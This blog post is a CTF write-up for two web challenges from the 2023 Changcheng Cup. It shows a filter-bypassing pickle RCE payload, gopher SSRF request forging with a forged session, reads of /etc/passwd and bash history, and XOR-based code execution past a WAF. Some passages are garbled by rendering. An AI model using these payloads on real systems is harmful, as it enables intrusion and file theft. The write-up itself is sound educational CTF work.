• 2023长城杯 web部分题目(seeking&easy_extension)


    seeking

    下载题目附件得到:

    
    error_reporting(0);
    header("HINT:POST n = range(1,10)");
    
    $image = $_GET['image'];
    echo "这里什么也没有,或许吧。";
    $allow = range(1, 10);
    shuffle($allow);
    if (($_POST['n'] == $allow[0])) {
        if(isset($image)){
    	$image = base64_decode($image);
        	$data = base64_encode(file_get_contents($image));
    	echo "your image is".base64_encode($image)."
    "
    ; echo ""; }else{ $data = base64_encode(file_get_contents("tupian.png")); echo "no image get,default img is dHVwaWFuLHBuZw=="; echo ""; } }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    首先要满足 post一个n跟1,10随机数相等 intruder模块爆破即可

    $image这里没有过滤,可以使用file或者filter协议获取文件内容,但是直接获取不到flag 估计是名字不同

    根据提示(图片里面有隐藏信息)

    分离得到一个7z压缩包,解压得到secret.txt: M0sT_D4nger0us.php

    搭配filter伪协议,读取文件内容得到文件代码:

    在这里插入图片描述

    
    $url=$_GET['url'];
    $curlobj = curl_init($url);
    curl_setopt($curlobj, CURLOPT_HEADER, 0);
    curl_exec($curlobj);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    典型ssrf 没有过滤

    file:///etc/passwd 发现了secret用户

    secret:x:1000:1000::/home/secret:/bin/sh
    
    • 1

    再根据提示:通过文件读取分析 bash记录

    同时题目也提到了 小朱的一个ID叫secret的朋友叫他帮忙测试一下他的web服务

    读取secret用户的历史命令,/home/secret/.bashhistory

    在这里插入图片描述

    看见了 /home/secret/Ez_Pickle/app.py文件

    #!/usr/bin/python3.6
    import os
    import pickle
    
    from base64 import b64decode
    from flask import Flask, session
    
    app = Flask(__name__)
    app.config["SECRET_KEY"] = "idontwantyoutoknowthis"
    
    User = type('User', (object,), {
        'uname': 'xxx',
        '__repr__': lambda o: o.uname,
    })
    
    @app.route('/', methods=('GET','POST'))
    def index_handler():
        u = pickle.dumps(User())
        session['u'] = u
        return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"
    
    
    @app.route('/pickle', methods=('GET','POST'))
    def pickle_handler():
        try:
            u = session.get('a')
            if isinstance(u, dict):
                code = b64decode(u.get('b'))
                if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
                    print(code)
                    return "what do you want???"
                result=pickle.loads(code)
                return result
            else:
                return "almost there"
        except:
            return "error"
    
    
    if __name__ == '__main__':
        app.run('127.0.0.1', port=5555, debug=False)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41

    pickle反序列化,给了SECRET_KEY 伪造session 给 对应的b赋值构造好的恶意 pickle序列化数据

    存在过滤 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:

    o操作码绕过

    import base64
    import pickle
    
    payload = b'''(cos
    system
    S'cat /f* > /tmp/a'
    o.'''
    # ls / > /tmp/a 得到flag名称
    code = payload
    if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
        print(code)
    #pickle.loads(code)
    print(base64.b64encode(payload))
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    import urllib.parse
    a ='''GET /pickle HTTP/1.1
    Host: 127.0.0.1:5555
    Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
    '''
    
    tmp = urllib.parse.quote(a)
    new = tmp.replace('%0A','%0D%0A')
    result = 'gopher://127.0.0.1:5555/' + '_' + new
    print(result)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    gopher带着cookie发包

    在这里插入图片描述

    之后再写入 flag文件内容到tmp里 读取即可

    在这里插入图片描述

    easy_extension

    /userinfo.php?info= 这里存在ssrf

    fuzz得知,估计是白名单 只能用 http:// https:// gopher://

    在登录界面,尝试弱口令 admin 123456登录,弹出 Just View From 127.0.0.1

    在这里插入图片描述

    结合前面 /userinfo.php?info这里 肯定就是利用ssrf gopher去发包,进行登录访问

    发包后,得到下一步提示:Continue go to ‘/byfackstage/profile.php’

    在这里插入图片描述

    访问,看见了三个功能,一个 search 一个calc 一个 logout

    在这里插入图片描述

    select.php这里存在任意文件读取

    最终得到文件内容为:

    select.php

    
    error_reporting(0);
    include "./profile.php";
    ini_set('open_basedir','/var/www/html/');
    $search = $_POST['search'];
    
    if(!empty($search)){
        if(preg_match('/[^a-zA-Z.]+/',$search)) {
            die('hacker!');
        } else {
            $file_path=$search;
            if(!file_exists($file_path)){
                die("");
            }
            $fp=fopen($file_path,"rb");
            $file_size=filesize($file_path);
            Header("Content-type: application/octet-stream");
            Header("Accept-Ranges: bytes");
            Header("Accept-Length:".$file_size);
            Header("Content-Disposition: attachment; filename=".basename($file_path));
            $buffer=1024;
            $file_count=0;
    
            while(!feof($fp) && $file_count<$file_size){
                $file_con=fread($fp,$buffer);
                $file_count+=$buffer;
                echo $file_con;
            }
            fclose($fp);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31

    ini_set('open_basedir','/var/www/html/'); 这里限制了只能访问 /var/www/html 下的文件

    calc.php

    
    error_reporting(0);
    include "profile.php";
    
    $one=$_POST['one'];
    $two=$_POST['two'];
    $cmd=Cmd\Calc::exe($one,$two);
    echo $cmd;
    eval($cmd);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    logout.php

    
    include "profile.php";
    header("location: ../index.php");
    
    • 1
    • 2
    • 3

    利用点应该就在 calc.php里 里面存在eval 不过eval()里的内容 由 Cmd\Calc::exe() 决定

    题目是 easy_extension 界面也给了 zephir generate Current_Directory php extensions

    意思大概是:zephir在当前目录生成 php扩展

    和 zephir有关 搜索得知 zephir 是专门开发php扩展的

    zephir build 执行这个命令会先把zephir代码解析成C代码,然后编译该C代码成.so库文件,最后放进你的php扩展库目录

    唉 当时想到读so来自,Cmd.so Calc.so 都没有

    在这里插入图片描述

    后面看山河师傅wp里 读的是 cmd.so 小写c 。。。赛后复盘就开始懊悔 应该多试试的来着

    同时山河师傅还读了 wafCheck.php 当时也不知道还有这个文件

    
    function waf($code){
        if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $code)){
            return $code;
        }else{
            return "hacker!!!";
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    逆cmd.so 可以知道, Cmd\Calc::exe($one,$two) 是对one和two两个参数传进来的东西进行异或然后再当做php代码执行

    因为会返回 $cmd 当时想的是 fuzz一下 python脚本如下:

    import requests
    import re
    import string
    burp0_url = "http://eci-2ze4x19l8hd7454rmx2y.cloudeci1.ichunqiu.com:80/byfackstage/calc.php"
    dic = string.printable
    dic1 = "CDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
    for i in dic1:
        for j in dic:
            one = "{}".format(i)
            two = "{}".format(j)
            data = {"one": one, "two": two, "submit": "submit"}
            text = requests.post(burp0_url, data=data)
            char = ''.join(re.findall("(.+?)",text.text))
            print(char,one,two)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    黑盒 fuzz的时候 fuzz出来了大部分字符

    P 1 a
    S 1 b
    R 1 c
    U 1 d
    T 1 e
    W 1 f
    V 1 g
    Y 1 h
    X 1 i
    [ 1 j
    Z 1 k
    ] 1 l
    \ 1 m
    _ 1 n
    ^ 1 o
    A 1 p
    @ 1 q
    C 1 r
    B 1 s
    E 1 t
    D 1 u
    G 1 v
    F 1 w
    I 1 x
    H 1 y
    K 1 z
    
    G t 3
    E v 3
    T g 3
    [ h 3
    ] n 3
    ^ m 3
    [ h 3
    ] n 3
    \ 0 3
    @ s 3
    _ i 6
    ) b K
    $ a E
    | 4 H
    0 a Q
    ! a @
    : a [
    = a \
    < a ]
    ? a ^
    > a _
    # b A
    & b D
    , b N
    - b O
    + B i
    / a N
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54

    但是 应该是 php7版本 eval() assert()这种解析问题

    我直接构造了 c m d = " cmd = " cmd="_GET[0]" 想着这样直接 eval($cmd); 进行rce 事实上是行不通的

    山河师傅 构造的是 $cmd = "require G E T [ x ] ? > " 然后 e v a l ( _GET[x]?>" 然后 eval( GET[x]?>"然后eval(cmd) 这种是可以进行文件包含的 构造包含 /flag即可

    利用无字母数字异或rce绕过 wafCheck.php的限制 tql orz

    这里贴一张山河师傅成功的图:

    在这里插入图片描述

    参考:https://www.yuque.com/shanhe-9jurb/kfn512/ll4pa9uzg40l5elk?singleDoc#aIM8U

  • 相关阅读:
    Java Collection集合
    【百度地图】百度地图的使用方法 和 在vue中如何使用百度地图(超详细)
    web渗透测试----5、暴力破解漏洞--(2)SNMP密码破解
    【七夕练Docker】Docker常用操作命令与实践
    《Linux-常见指令详解》
    【DaVinci Developer工具实战】03 -导入xml文件
    SPSS一对多的数据怎么进行相关分析?
    SSM+网上书城系统 毕业设计-附源码180919
    Python Selenium 八大元素定位方法(上)
    Docker在人工智能领域的应用与实战
  • 原文地址:https://blog.csdn.net/weixin_63231007/article/details/132846396